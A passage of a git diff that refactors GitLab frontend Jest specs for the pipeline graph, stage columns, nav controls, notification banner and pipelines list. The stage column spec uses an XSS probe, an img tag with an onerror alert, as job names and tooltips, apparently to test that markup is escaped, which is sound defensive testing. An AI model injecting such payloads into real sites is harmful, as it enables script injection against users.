-import { DOWNSTREAM, GRAPHQL, UPSTREAM } from '~/pipelines/components/graph/constants';
+import {
+ DOWNSTREAM,
+ GRAPHQL,
+ UPSTREAM,
+ LAYER_VIEW,
+ STAGE_VIEW,
+} from '~/pipelines/components/graph/constants';
import PipelineGraph from '~/pipelines/components/graph/graph_component.vue';
import LinkedPipeline from '~/pipelines/components/graph/linked_pipeline.vue';
import LinkedPipelinesColumn from '~/pipelines/components/graph/linked_pipelines_column.vue';
+import * as parsingUtils from '~/pipelines/components/parsing_utils';
import { LOAD_FAILURE } from '~/pipelines/constants';
import {
mockPipelineResponse,
@@ -20,6 +27,7 @@ describe('Linked Pipelines Column', () => {
columnTitle: 'Downstream',
linkedPipelines: processedPipeline.downstream,
type: DOWNSTREAM,
+ viewType: STAGE_VIEW,
configPaths: {
metricsPath: '',
graphqlResourceEtag: 'this/is/a/path',
@@ -67,7 +75,7 @@ describe('Linked Pipelines Column', () => {
describe('it renders correctly', () => {
beforeEach(() => {
- createComponent();
+ createComponentWithApollo();
});
it('renders the pipeline title', () => {
@@ -91,6 +99,27 @@ describe('Linked Pipelines Column', () => {
await wrapper.vm.$nextTick();
};
+ describe('layer type rendering', () => {
+ let layersFn;
+
+ beforeEach(() => {
+ layersFn = jest.spyOn(parsingUtils, 'listByLayers');
+ createComponentWithApollo({ mountFn: mount });
+ });
+
+ it('calls listByLayers only once no matter how many times view is switched', async () => {
+ expect(layersFn).not.toHaveBeenCalled();
+ await clickExpandButtonAndAwaitTimers();
+ await wrapper.setProps({ viewType: LAYER_VIEW });
+ await wrapper.vm.$nextTick();
+ expect(layersFn).toHaveBeenCalledTimes(1);
+ await wrapper.setProps({ viewType: STAGE_VIEW });
+ await wrapper.setProps({ viewType: LAYER_VIEW });
+ await wrapper.setProps({ viewType: STAGE_VIEW });
+ expect(layersFn).toHaveBeenCalledTimes(1);
+ });
+ });
+
describe('downstream', () => {
describe('when successful', () => {
beforeEach(() => {
diff --git a/spec/frontend/pipelines/graph/mock_data.js b/spec/frontend/pipelines/graph/mock_data.js
index 7650cbd2d5c..cf420f68f37 100644
--- a/spec/frontend/pipelines/graph/mock_data.js
+++ b/spec/frontend/pipelines/graph/mock_data.js
@@ -8,6 +8,7 @@ export const mockPipelineResponse = {
__typename: 'Pipeline',
id: 163,
iid: '22',
+ usesNeeds: true,
downstream: null,
upstream: null,
stages: {
@@ -434,21 +435,7 @@ export const mockPipelineResponse = {
},
needs: {
__typename: 'CiBuildNeedConnection',
- nodes: [
- {
- __typename: 'CiBuildNeed',
- name: 'build_c',
- },
- {
- __typename: 'CiBuildNeed',
- name: 'build_b',
- },
- {
- __typename: 'CiBuildNeed',
- name:
- 'build_a_nlfjkdnlvskfnksvjknlfdjvlvnjdkjdf_nvjkenjkrlngjeknjkl',
- },
- ],
+ nodes: [],
},
},
],
@@ -583,6 +570,7 @@ export const wrappedPipelineReturn = {
__typename: 'Pipeline',
id: 'gid://gitlab/Ci::Pipeline/175',
iid: '38',
+ usesNeeds: true,
downstream: {
__typename: 'PipelineConnection',
nodes: [],
diff --git a/spec/frontend/pipelines/graph/stage_column_component_spec.js b/spec/frontend/pipelines/graph/stage_column_component_spec.js
index 16dc70a63a5..f9f6c96a1a6 100644
--- a/spec/frontend/pipelines/graph/stage_column_component_spec.js
+++ b/spec/frontend/pipelines/graph/stage_column_component_spec.js
@@ -1,7 +1,7 @@
import { mount, shallowMount } from '@vue/test-utils';
-import ActionComponent from '~/pipelines/components/graph/action_component.vue';
import JobItem from '~/pipelines/components/graph/job_item.vue';
import StageColumnComponent from '~/pipelines/components/graph/stage_column_component.vue';
+import ActionComponent from '~/pipelines/components/jobs_shared/action_component.vue';
const mockJob = {
id: 4250,
@@ -24,11 +24,11 @@ const mockJob = {
const mockGroups = Array(4)
.fill(0)
.map((item, idx) => {
- return { ...mockJob, id: idx, name: `fish-${idx}` };
+ return { ...mockJob, jobs: [mockJob], id: idx, name: `fish-${idx}` };
});
const defaultProps = {
- title: 'Fish',
+ name: 'Fish',
groups: mockGroups,
pipelineId: 159,
};
@@ -62,7 +62,7 @@ describe('stage column component', () => {
});
it('should render provided title', () => {
- expect(findStageColumnTitle().text()).toBe(defaultProps.title);
+ expect(findStageColumnTitle().text()).toBe(defaultProps.name);
});
it('should render the provided groups', () => {
@@ -104,16 +104,22 @@ describe('stage column component', () => {
props: {
groups: [
{
- id: 4259,
+ ...mockJob,
name: '<img src=x onerror=alert(document.domain)>',
- status: {
- icon: 'status_success',
- label: 'success',
- tooltip: '<img src=x onerror=alert(document.domain)>',
- },
+ jobs: [
+ {
+ id: 4259,
+ name: '<img src=x onerror=alert(document.domain)>',
+ status: {
+ icon: 'status_success',
+ label: 'success',
+ tooltip: '<img src=x onerror=alert(document.domain)>',
+ },
+ },
+ ],
},
],
- title: 'test <img src=x onerror=alert(document.domain)>',
+ name: 'test <img src=x onerror=alert(document.domain)>',
},
});
});
@@ -159,6 +165,7 @@ describe('stage column component', () => {
label: 'success',
tooltip: '<img src=x onerror=alert(document.domain)>',
},
+ jobs: [mockJob],
},
],
title: 'test',
@@ -191,6 +198,7 @@ describe('stage column component', () => {
label: 'success',
tooltip: '<img src=x onerror=alert(document.domain)>',
},
+ jobs: [mockJob],
},
],
title: 'test',
diff --git a/spec/frontend/pipelines/graph_shared/links_inner_spec.js b/spec/frontend/pipelines/graph_shared/links_inner_spec.js
index 6fef1c9b62e..e81f046c1eb 100644
--- a/spec/frontend/pipelines/graph_shared/links_inner_spec.js
+++ b/spec/frontend/pipelines/graph_shared/links_inner_spec.js
@@ -8,9 +8,9 @@ import {
PIPELINES_DETAIL_LINKS_JOB_RATIO,
} from '~/performance/constants';
import * as perfUtils from '~/performance/utils';
-import * as sentryUtils from '~/pipelines/components/graph/utils';
import * as Api from '~/pipelines/components/graph_shared/api';
import LinksInner from '~/pipelines/components/graph_shared/links_inner.vue';
+import * as sentryUtils from '~/pipelines/utils';
import { createJobsHash } from '~/pipelines/utils';
import {
jobRect,
diff --git a/spec/frontend/pipelines/graph_shared/links_layer_spec.js b/spec/frontend/pipelines/graph_shared/links_layer_spec.js
index 43d8fe28893..5e5365eef30 100644
--- a/spec/frontend/pipelines/graph_shared/links_layer_spec.js
+++ b/spec/frontend/pipelines/graph_shared/links_layer_spec.js
@@ -1,4 +1,5 @@
-import { GlAlert, GlButton } from '@gitlab/ui';
+import { GlAlert } from '@gitlab/ui';
+import { fireEvent, within } from '@testing-library/dom';
import { mount, shallowMount } from '@vue/test-utils';
import LinksInner from '~/pipelines/components/graph_shared/links_inner.vue';
import LinksLayer from '~/pipelines/components/graph_shared/links_layer.vue';
@@ -7,8 +8,10 @@ import { generateResponse, mockPipelineResponse } from '../graph/mock_data';
describe('links layer component', () => {
let wrapper;
+ const withinComponent = () => within(wrapper.element);
const findAlert = () => wrapper.find(GlAlert);
- const findShowAnyways = () => findAlert().find(GlButton);
+ const findShowAnyways = () =>
+ withinComponent().getByText(wrapper.vm.$options.i18n.showLinksAnyways);
const findLinksInner = () => wrapper.find(LinksInner);
const pipeline = generateResponse(mockPipelineResponse, 'root/fungi-xoxo');
@@ -103,13 +106,13 @@ describe('links layer component', () => {
});
it('renders the disable button', () => {
- expect(findShowAnyways().exists()).toBe(true);
- expect(findShowAnyways().text()).toBe(wrapper.vm.$options.i18n.showLinksAnyways);
+ expect(findShowAnyways()).not.toBe(null);
});
it('shows links when override is clicked', async () => {
expect(findLinksInner().exists()).toBe(false);
- await findShowAnyways().trigger('click');
+ fireEvent(findShowAnyways(), new MouseEvent('click', { bubbles: true }));
+ await wrapper.vm.$nextTick();
expect(findLinksInner().exists()).toBe(true);
});
});
diff --git a/spec/frontend/pipelines/nav_controls_spec.js b/spec/frontend/pipelines/nav_controls_spec.js
index 305dc557b39..2c4740df174 100644
--- a/spec/frontend/pipelines/nav_controls_spec.js
+++ b/spec/frontend/pipelines/nav_controls_spec.js
@@ -1,17 +1,22 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import navControlsComp from '~/pipelines/components/pipelines_list/nav_controls.vue';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import NavControls from '~/pipelines/components/pipelines_list/nav_controls.vue';
describe('Pipelines Nav Controls', () => {
- let NavControlsComponent;
- let component;
+ let wrapper;
- beforeEach(() => {
- NavControlsComponent = Vue.extend(navControlsComp);
- });
+ const createComponent = (props) => {
+ wrapper = shallowMount(NavControls, {
+ propsData: {
+ ...props,
+ },
+ });
+ };
+
+ const findRunPipeline = () => wrapper.find('.js-run-pipeline');
afterEach(() => {
- component.$destroy();
+ wrapper.destroy();
});
it('should render link to create a new pipeline', () => {
@@ -21,12 +26,11 @@ describe('Pipelines Nav Controls', () => {
resetCachePath: 'foo',
};
- component = mountComponent(NavControlsComponent, mockData);
+ createComponent(mockData);
- expect(component.$el.querySelector('.js-run-pipeline').textContent).toContain('Run Pipeline');
- expect(component.$el.querySelector('.js-run-pipeline').getAttribute('href')).toEqual(
- mockData.newPipelinePath,
- );
+ const runPipeline = findRunPipeline();
+ expect(runPipeline.text()).toContain('Run pipeline');
+ expect(runPipeline.attributes('href')).toBe(mockData.newPipelinePath);
});
it('should not render link to create pipeline if no path is provided', () => {
@@ -36,9 +40,9 @@ describe('Pipelines Nav Controls', () => {
resetCachePath: 'foo',
};
- component = mountComponent(NavControlsComponent, mockData);
+ createComponent(mockData);
- expect(component.$el.querySelector('.js-run-pipeline')).toEqual(null);
+ expect(findRunPipeline().exists()).toBe(false);
});
it('should render link for CI lint', () => {
@@ -49,12 +53,10 @@ describe('Pipelines Nav Controls', () => {
resetCachePath: 'foo',
};
- component = mountComponent(NavControlsComponent, mockData);
+ createComponent(mockData);
- expect(component.$el.querySelector('.js-ci-lint').textContent.trim()).toContain('CI Lint');
- expect(component.$el.querySelector('.js-ci-lint').getAttribute('href')).toEqual(
- mockData.ciLintPath,
- );
+ expect(wrapper.find('.js-ci-lint').text().trim()).toContain('CI lint');
+ expect(wrapper.find('.js-ci-lint').attributes('href')).toBe(mockData.ciLintPath);
});
describe('Reset Runners Cache', () => {
@@ -64,22 +66,20 @@ describe('Pipelines Nav Controls', () => {
ciLintPath: 'foo',
resetCachePath: 'foo',
};
-
- component = mountComponent(NavControlsComponent, mockData);
+ createComponent(mockData);
});
it('should render button for resetting runner caches', () => {
- expect(component.$el.querySelector('.js-clear-cache').textContent.trim()).toContain(
- 'Clear Runner Caches',
- );
+ expect(wrapper.find('.js-clear-cache').text().trim()).toContain('Clear runner caches');
});
- it('should emit postAction event when reset runner cache button is clicked', () => {
- jest.spyOn(component, '$emit').mockImplementation(() => {});
+ it('should emit postAction event when reset runner cache button is clicked', async () => {
+ jest.spyOn(wrapper.vm, '$emit').mockImplementation(() => {});
- component.$el.querySelector('.js-clear-cache').click();
+ wrapper.find('.js-clear-cache').vm.$emit('click');
+ await nextTick();
- expect(component.$emit).toHaveBeenCalledWith('resetRunnersCache', 'foo');
+ expect(wrapper.vm.$emit).toHaveBeenCalledWith('resetRunnersCache', 'foo');
});
});
});
diff --git a/spec/frontend/pipelines/notification/pipeline_notification_spec.js b/spec/frontend/pipelines/notification/pipeline_notification_spec.js
new file mode 100644
index 00000000000..79aa337ba9d
--- /dev/null
+++ b/spec/frontend/pipelines/notification/pipeline_notification_spec.js
@@ -0,0 +1,79 @@
+import { GlBanner } from '@gitlab/ui';
+import { createLocalVue, shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import VueApollo from 'vue-apollo';
+import createMockApollo from 'helpers/mock_apollo_helper';
+import PipelineNotification from '~/pipelines/components/notification/pipeline_notification.vue';
+import getUserCallouts from '~/pipelines/graphql/queries/get_user_callouts.query.graphql';
+
+describe('Pipeline notification', () => {
+ const localVue = createLocalVue();
+
+ let wrapper;
+ const dagDocPath = 'my/dag/path';
+
+ const createWrapper = (apolloProvider) => {
+ return shallowMount(PipelineNotification, {
+ localVue,
+ provide: {
+ dagDocPath,
+ },
+ apolloProvider,
+ });
+ };
+
+ const createWrapperWithApollo = async ({ callouts = [], isLoading = false } = {}) => {
+ localVue.use(VueApollo);
+
+ const mappedCallouts = callouts.map((callout) => {
+ return { featureName: callout, __typename: 'UserCallout' };
+ });
+
+ const mockCalloutsResponse = {
+ data: {
+ currentUser: {
+ id: 45,
+ __typename: 'User',
+ callouts: {
+ id: 5,
+ __typename: 'UserCalloutConnection',
+ nodes: mappedCallouts,
+ },
+ },
+ },
+ };
+ const getUserCalloutsHandler = jest.fn().mockResolvedValue(mockCalloutsResponse);
+ const requestHandlers = [[getUserCallouts, getUserCalloutsHandler]];
+
+ const apolloWrapper = createWrapper(createMockApollo(requestHandlers));
+ if (!isLoading) {
+ await nextTick();
+ }
+
+ return apolloWrapper;
+ };
+
+ const findBanner = () => wrapper.findComponent(GlBanner);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('shows the banner if the user has never seen it', async () => {
+ wrapper = await createWrapperWithApollo({ callouts: ['random'] });
+
+ expect(findBanner().exists()).toBe(true);
+ });
+
+ it('does not show the banner while the user callout query is loading', async () => {
+ wrapper = await createWrapperWithApollo({ callouts: ['random'], isLoading: true });
+
+ expect(findBanner().exists()).toBe(false);
+ });
+
+ it('does not show the banner if the user has previously dismissed it', async () => {
+ wrapper = await createWrapperWithApollo({ callouts: ['pipeline_needs_banner'.toUpperCase()] });
+
+ expect(findBanner().exists()).toBe(false);
+ });
+});
diff --git a/spec/frontend/pipelines/pipeline_graph/mock_data.js b/spec/frontend/pipelines/pipeline_graph/mock_data.js
index 339aac9f349..a79917bfd48 100644
--- a/spec/frontend/pipelines/pipeline_graph/mock_data.js
+++ b/spec/frontend/pipelines/pipeline_graph/mock_data.js
@@ -98,6 +98,42 @@ export const pipelineData = {
],
};
+export const invalidNeedsData = {
+ stages: [
+ {
+ name: 'build',
+ groups: [
+ {
+ name: 'build_1',
+ jobs: [{ script: 'echo hello', stage: 'build' }],
+ },
+ ],
+ },
+ {
+ name: 'test',
+ groups: [
+ {
+ name: 'test_1',
+ jobs: [{ script: 'yarn test', stage: 'test' }],
+ },
+ {
+ name: 'test_2',
+ jobs: [{ script: 'yarn karma', stage: 'test' }],
+ },
+ ],
+ },
+ {
+ name: 'deploy',
+ groups: [
+ {
+ name: 'deploy_1',
+ jobs: [{ script: 'yarn magick', stage: 'deploy', needs: ['invalid_job'] }],
+ },
+ ],
+ },
+ ],
+};
+
export const parallelNeedData = {
stages: [
{
diff --git a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
index 718667fcc73..258f2bda829 100644
--- a/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
+++ b/spec/frontend/pipelines/pipeline_graph/pipeline_graph_spec.js
@@ -1,11 +1,13 @@
import { GlAlert } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
-import { CI_CONFIG_STATUS_INVALID, CI_CONFIG_STATUS_VALID } from '~/pipeline_editor/constants';
+import { CI_CONFIG_STATUS_VALID } from '~/pipeline_editor/constants';
+import LinksInner from '~/pipelines/components/graph_shared/links_inner.vue';
+import LinksLayer from '~/pipelines/components/graph_shared/links_layer.vue';
import JobPill from '~/pipelines/components/pipeline_graph/job_pill.vue';
import PipelineGraph from '~/pipelines/components/pipeline_graph/pipeline_graph.vue';
import StagePill from '~/pipelines/components/pipeline_graph/stage_pill.vue';
-import { DRAW_FAILURE, EMPTY_PIPELINE_DATA, INVALID_CI_CONFIG } from '~/pipelines/constants';
-import { pipelineData, singleStageData } from './mock_data';
+import { DRAW_FAILURE } from '~/pipelines/constants';
+import { invalidNeedsData, pipelineData, singleStageData } from './mock_data';
describe('pipeline graph component', () => {
const defaultProps = { pipelineData };
@@ -16,50 +18,37 @@ describe('pipeline graph component', () => {
propsData: {
...props,
},
+ stubs: { LinksLayer, LinksInner },
+ data() {
+ return {
+ measurements: {
+ width: 1000,
+ height: 1000,
+ },
+ };
+ },
});
};
- const findPipelineGraph = () => wrapper.find('[data-testid="graph-container"]');
- const findAlert = () => wrapper.find(GlAlert);
- const findAllStagePills = () => wrapper.findAll(StagePill);
+ const findAlert = () => wrapper.findComponent(GlAlert);
+ const findAllJobPills = () => wrapper.findAll(JobPill);
const findAllStageBackgroundElements = () => wrapper.findAll('[data-testid="stage-background"]');
+ const findAllStagePills = () => wrapper.findAllComponents(StagePill);
+ const findLinksLayer = () => wrapper.findComponent(LinksLayer);
+ const findPipelineGraph = () => wrapper.find('[data-testid="graph-container"]');
const findStageBackgroundElementAt = (index) => findAllStageBackgroundElements().at(index);
- const findAllJobPills = () => wrapper.findAll(JobPill);
afterEach(() => {
wrapper.destroy();
- wrapper = null;
- });
-
- describe('with no data', () => {
- beforeEach(() => {
- wrapper = createComponent({ pipelineData: {} });
- });
-
- it('renders an empty section', () => {
- expect(wrapper.text()).toBe(wrapper.vm.$options.errorTexts[EMPTY_PIPELINE_DATA]);
- expect(findPipelineGraph().exists()).toBe(false);
- expect(findAllStagePills()).toHaveLength(0);
- expect(findAllJobPills()).toHaveLength(0);
- });
- });
-
- describe('with `INVALID` status', () => {
- beforeEach(() => {
- wrapper = createComponent({ pipelineData: { status: CI_CONFIG_STATUS_INVALID } });
- });
-
- it('renders an error message and does not render the graph', () => {
- expect(findAlert().exists()).toBe(true);
- expect(findAlert().text()).toBe(wrapper.vm.$options.errorTexts[INVALID_CI_CONFIG]);
- expect(findPipelineGraph().exists()).toBe(false);
- });
});
describe('with `VALID` status', () => {
beforeEach(() => {
wrapper = createComponent({
- pipelineData: { status: CI_CONFIG_STATUS_VALID, stages: [{ name: 'hello', groups: [] }] },
+ pipelineData: {
+ status: CI_CONFIG_STATUS_VALID,
+ stages: [{ name: 'hello', groups: [] }],
+ },
});
});
@@ -71,10 +60,11 @@ describe('pipeline graph component', () => {
describe('with error while rendering the links with needs', () => {
beforeEach(() => {
- wrapper = createComponent();
+ wrapper = createComponent({ pipelineData: invalidNeedsData });
});
it('renders the error that link could not be drawn', () => {
+ expect(findLinksLayer().exists()).toBe(true);
expect(findAlert().exists()).toBe(true);
expect(findAlert().text()).toBe(wrapper.vm.$options.errorTexts[DRAW_FAILURE]);
});
diff --git a/spec/frontend/pipelines/pipelines_ci_templates_spec.js b/spec/frontend/pipelines/pipelines_ci_templates_spec.js
new file mode 100644
index 00000000000..d4cf6027ff7
--- /dev/null
+++ b/spec/frontend/pipelines/pipelines_ci_templates_spec.js
@@ -0,0 +1,111 @@
+import { shallowMount } from '@vue/test-utils';
+import ExperimentTracking from '~/experimentation/experiment_tracking';
+import PipelinesCiTemplate from '~/pipelines/components/pipelines_list/pipelines_ci_templates.vue';
+
+const addCiYmlPath = "/-/new/master?commit_message='Add%20.gitlab-ci.yml'";
+const suggestedCiTemplates = [
+ { name: 'Android', logo: '/assets/illustrations/logos/android.svg' },
+ { name: 'Bash', logo: '/assets/illustrations/logos/bash.svg' },
+ { name: 'C++', logo: '/assets/illustrations/logos/c_plus_plus.svg' },
+];
+
+jest.mock('~/experimentation/experiment_tracking');
+
+describe('Pipelines CI Templates', () => {
+ let wrapper;
+
+ const GlEmoji = { template: '<img/>' };
+
+ const createWrapper = () => {
+ return shallowMount(PipelinesCiTemplate, {
+ provide: {
+ addCiYmlPath,
+ suggestedCiTemplates,
+ },
+ stubs: {
+ GlEmoji,
+ },
+ });
+ };
+
+ const findTestTemplateLinks = () => wrapper.findAll('[data-testid="test-template-link"]');
+ const findTemplateDescriptions = () => wrapper.findAll('[data-testid="template-description"]');
+ const findTemplateLinks = () => wrapper.findAll('[data-testid="template-link"]');
+ const findTemplateNames = () => wrapper.findAll('[data-testid="template-name"]');
+ const findTemplateLogos = () => wrapper.findAll('[data-testid="template-logo"]');
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ });
+
+ describe('renders test template', () => {
+ beforeEach(() => {
+ wrapper = createWrapper();
+ });
+
+ it('links to the hello world template', () => {
+ expect(findTestTemplateLinks().at(0).attributes('href')).toBe(
+ addCiYmlPath.concat('&template=Hello-World'),
+ );
+ });
+ });
+
+ describe('renders template list', () => {
+ beforeEach(() => {
+ wrapper = createWrapper();
+ });
+
+ it('renders all suggested templates', () => {
+ const content = wrapper.text();
+
+ expect(content).toContain('Android', 'Bash', 'C++');
+ });
+
+ it('has the correct template name', () => {
+ expect(findTemplateNames().at(0).text()).toBe('Android');
+ });
+
+ it('links to the correct template', () => {
+ expect(findTemplateLinks().at(0).attributes('href')).toBe(
+ addCiYmlPath.concat('&template=Android'),
+ );
+ });
+
+ it('has the description of the template', () => {
+ expect(findTemplateDescriptions().at(0).text()).toBe(
+ 'CI/CD template to test and deploy your Android project.',
+ );
+ });
+
+ it('has the right logo of the template', () => {
+ expect(findTemplateLogos().at(0).attributes('src')).toBe(
+ '/assets/illustrations/logos/android.svg',
+ );
+ });
+ });
+
+ describe('tracking', () => {
+ beforeEach(() => {
+ wrapper = createWrapper();
+ });
+
+ it('sends an event when template is clicked', () => {
+ findTemplateLinks().at(0).vm.$emit('click');
+
+ expect(ExperimentTracking).toHaveBeenCalledWith('pipeline_empty_state_templates', {
+ label: 'Android',
+ });
+ expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('template_clicked');
+ });
+
+ it('sends an event when Hello-World template is clicked', () => {
+ findTestTemplateLinks().at(0).vm.$emit('click');
+
+ expect(ExperimentTracking).toHaveBeenCalledWith('pipeline_empty_state_templates', {
+ label: 'Hello-World',
+ });
+ expect(ExperimentTracking.prototype.event).toHaveBeenCalledWith('template_clicked');
+ });
+ });
+});
diff --git a/spec/frontend/pipelines/pipelines_spec.js b/spec/frontend/pipelines/pipelines_spec.js
index b04880b43ae..84a25f42201 100644
--- a/spec/frontend/pipelines/pipelines_spec.js
+++ b/spec/frontend/pipelines/pipelines_spec.js
@@ -1,4 +1,4 @@
-import { GlButton, GlFilteredSearch, GlLoadingIcon, GlPagination } from '@gitlab/ui';
+import { GlButton, GlEmptyState, GlFilteredSearch, GlLoadingIcon, GlPagination } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import MockAdapter from 'axios-mock-adapter';
import { chunk } from 'lodash';
@@ -8,8 +8,6 @@ import waitForPromises from 'helpers/wait_for_promises';
import Api from '~/api';
import { deprecatedCreateFlash as createFlash } from '~/flash';
import axios from '~/lib/utils/axios_utils';
-import BlankState from '~/pipelines/components/pipelines_list/blank_state.vue';
-import EmptyState from '~/pipelines/components/pipelines_list/empty_state.vue';
import NavigationControls from '~/pipelines/components/pipelines_list/nav_controls.vue';
import PipelinesComponent from '~/pipelines/components/pipelines_list/pipelines.vue';
import PipelinesTableComponent from '~/pipelines/components/pipelines_list/pipelines_table.vue';
@@ -58,11 +56,10 @@ describe('Pipelines', () => {
};
const findFilteredSearch = () => wrapper.findComponent(GlFilteredSearch);
+ const findEmptyState = () => wrapper.findComponent(GlEmptyState);
const findNavigationTabs = () => wrapper.findComponent(NavigationTabs);
const findNavigationControls = () => wrapper.findComponent(NavigationControls);
const findPipelinesTable = () => wrapper.findComponent(PipelinesTableComponent);
- const findEmptyState = () => wrapper.findComponent(EmptyState);
- const findBlankState = () => wrapper.findComponent(BlankState);
const findTablePagination = () => wrapper.findComponent(TablePagination);
const findTab = (tab) => wrapper.findByTestId(`pipelines-tab-${tab}`);
@@ -194,16 +191,16 @@ describe('Pipelines', () => {
expect(findNavigationControls().exists()).toBe(true);
});
- it('renders Run Pipeline link', () => {
+ it('renders Run pipeline link', () => {
expect(findRunPipelineButton().attributes('href')).toBe(paths.newPipelinePath);
});
- it('renders CI Lint link', () => {
+ it('renders CI lint link', () => {
expect(findCiLintButton().attributes('href')).toBe(paths.ciLintPath);
});
- it('renders Clear Runner Cache button', () => {
- expect(findCleanCacheButton().text()).toBe('Clear Runner Caches');
+ it('renders Clear runner cache button', () => {
+ expect(findCleanCacheButton().text()).toBe('Clear runner caches');
});
it('renders pipelines in a table', () => {
@@ -268,7 +265,7 @@ describe('Pipelines', () => {
});
it('should filter pipelines', async () => {
- expect(findBlankState().text()).toBe('There are currently no pipelines.');
+ expect(findEmptyState().text()).toBe('There are currently no pipelines.');
});
it('should update browser bar', () => {
@@ -502,20 +499,24 @@ describe('Pipelines', () => {
expect(findTab('all').text()).toMatchInterpolatedText('All 0');
});
- it('renders Run Pipeline link', () => {
+ it('renders Run pipeline link', () => {
expect(findRunPipelineButton().attributes('href')).toBe(paths.newPipelinePath);
});
- it('renders CI Lint link', () => {
+ it('renders CI lint link', () => {
expect(findCiLintButton().attributes('href')).toBe(paths.ciLintPath);
});
- it('renders Clear Runner Cache button', () => {
- expect(findCleanCacheButton().text()).toBe('Clear Runner Caches');
+ it('renders Clear runner cache button', () => {
+ expect(findCleanCacheButton().text()).toBe('Clear runner caches');
});
it('renders empty state', () => {
- expect(findBlankState().text()).toBe('There are currently no pipelines.');
+ expect(findEmptyState().text()).toBe('There are currently no pipelines.');
+ });
+
+ it('renders filtered search', () => {
+ expect(findFilteredSearch().exists()).toBe(true);
});
it('renders tab empty state finished scope', async () => {
@@ -528,7 +529,7 @@ describe('Pipelines', () => {
await waitForPromises();
- expect(findBlankState().text()).toBe('There are currently no finished pipelines.');
+ expect(findEmptyState().text()).toBe('There are currently no finished pipelines.');
});
});
@@ -550,6 +551,10 @@ describe('Pipelines', () => {
);
});
+ it('does not render filtered search', () => {
+ expect(findFilteredSearch().exists()).toBe(false);
+ });
+
it('does not render tabs nor buttons', () => {
expect(findNavigationTabs().exists()).toBe(false);
expect(findTab('all').exists()).toBe(false);
@@ -599,7 +604,7 @@ describe('Pipelines', () => {
});
it('renders empty state', () => {
- expect(findBlankState().text()).toBe('There are currently no pipelines.');
+ expect(findEmptyState().text()).toBe('There are currently no pipelines.');
});
});
});
@@ -688,7 +693,7 @@ describe('Pipelines', () => {
});
it('shows error state', () => {
- expect(findBlankState().text()).toBe(
+ expect(findEmptyState().text()).toBe(
'There was an error fetching the pipelines. Try again in a few moments or contact your support team.',
);
});
@@ -709,11 +714,11 @@ describe('Pipelines', () => {
expect(findRunPipelineButton().attributes('href')).toBe(paths.newPipelinePath);
expect(findCiLintButton().attributes('href')).toBe(paths.ciLintPath);
- expect(findCleanCacheButton().text()).toBe('Clear Runner Caches');
+ expect(findCleanCacheButton().text()).toBe('Clear runner caches');
});
it('shows error state', () => {
- expect(findBlankState().text()).toBe(
+ expect(findEmptyState().text()).toBe(
'There was an error fetching the pipelines. Try again in a few moments or contact your support team.',
);
});
diff --git a/spec/frontend/pipelines/pipelines_table_row_spec.js b/spec/frontend/pipelines/pipelines_table_row_spec.js
deleted file mode 100644
index 68d46575081..00000000000
--- a/spec/frontend/pipelines/pipelines_table_row_spec.js
+++ /dev/null
@@ -1,239 +0,0 @@
-import { mount } from '@vue/test-utils';
-import waitForPromises from 'helpers/wait_for_promises';
-import PipelinesTableRowComponent from '~/pipelines/components/pipelines_list/pipelines_table_row.vue';
-import eventHub from '~/pipelines/event_hub';
-
-describe('Pipelines Table Row', () => {
- const jsonFixtureName = 'pipelines/pipelines.json';
-
- const createWrapper = (pipeline) =>
- mount(PipelinesTableRowComponent, {
- propsData: {
- pipeline,
- viewType: 'root',
- },
- });
-
- let wrapper;
- let pipeline;
- let pipelineWithoutAuthor;
- let pipelineWithoutCommit;
-
- beforeEach(() => {
- const { pipelines } = getJSONFixture(jsonFixtureName);
-
- pipeline = pipelines.find((p) => p.user !== null && p.commit !== null);
- pipelineWithoutAuthor = pipelines.find((p) => p.user === null && p.commit !== null);
- pipelineWithoutCommit = pipelines.find((p) => p.user === null && p.commit === null);
- });
-
- afterEach(() => {
- wrapper.destroy();
- wrapper = null;
- });
-
- it('should render a table row', () => {
- wrapper = createWrapper(pipeline);
-
- expect(wrapper.attributes('class')).toContain('gl-responsive-table-row');
- });
-
- describe('status column', () => {
- beforeEach(() => {
- wrapper = createWrapper(pipeline);
- });
-
- it('should render a pipeline link', () => {
- expect(wrapper.find('.table-section.commit-link a').attributes('href')).toEqual(
- pipeline.path,
- );
- });
-
- it('should render status text', () => {
- expect(wrapper.find('.table-section.commit-link a').text()).toContain(
- pipeline.details.status.text,
- );
- });
- });
-
- describe('information column', () => {
- beforeEach(() => {
- wrapper = createWrapper(pipeline);
- });
-
- it('should render a pipeline link', () => {
- expect(wrapper.find('.table-section:nth-child(2) a').attributes('href')).toEqual(
- pipeline.path,
- );
- });
-
- it('should render pipeline ID', () => {
- expect(wrapper.find('.table-section:nth-child(2) a > span').text()).toEqual(
- `#${pipeline.id}`,
- );
- });
-
- describe('when a user is provided', () => {
- it('should render user information', () => {
- expect(
- wrapper.find('.table-section:nth-child(3) .js-pipeline-url-user').attributes('href'),
- ).toEqual(pipeline.user.path);
-
- expect(
- wrapper.find('.table-section:nth-child(3) .js-user-avatar-image-tooltip').text().trim(),
- ).toEqual(pipeline.user.name);
- });
- });
- });
-
- describe('commit column', () => {
- it('should render link to commit', () => {
- wrapper = createWrapper(pipeline);
-
- const commitLink = wrapper.find('.branch-commit .commit-sha');
-
- expect(commitLink.attributes('href')).toEqual(pipeline.commit.commit_path);
- });
-
- const findElements = () => {
- const commitTitleElement = wrapper.find('.branch-commit .commit-title');
- const commitAuthorElement = commitTitleElement.find('a.avatar-image-container');
-
- if (!commitAuthorElement.exists()) {
- return {
- commitAuthorElement,
- };
- }
-
- const commitAuthorLink = commitAuthorElement.attributes('href');
- const commitAuthorName = commitAuthorElement
- .find('.js-user-avatar-image-tooltip')
- .text()
- .trim();
-
- return {
- commitAuthorElement,
- commitAuthorLink,
- commitAuthorName,
- };
- };
-
- it('renders nothing without commit', () => {
- expect(pipelineWithoutCommit.commit).toBe(null);
-
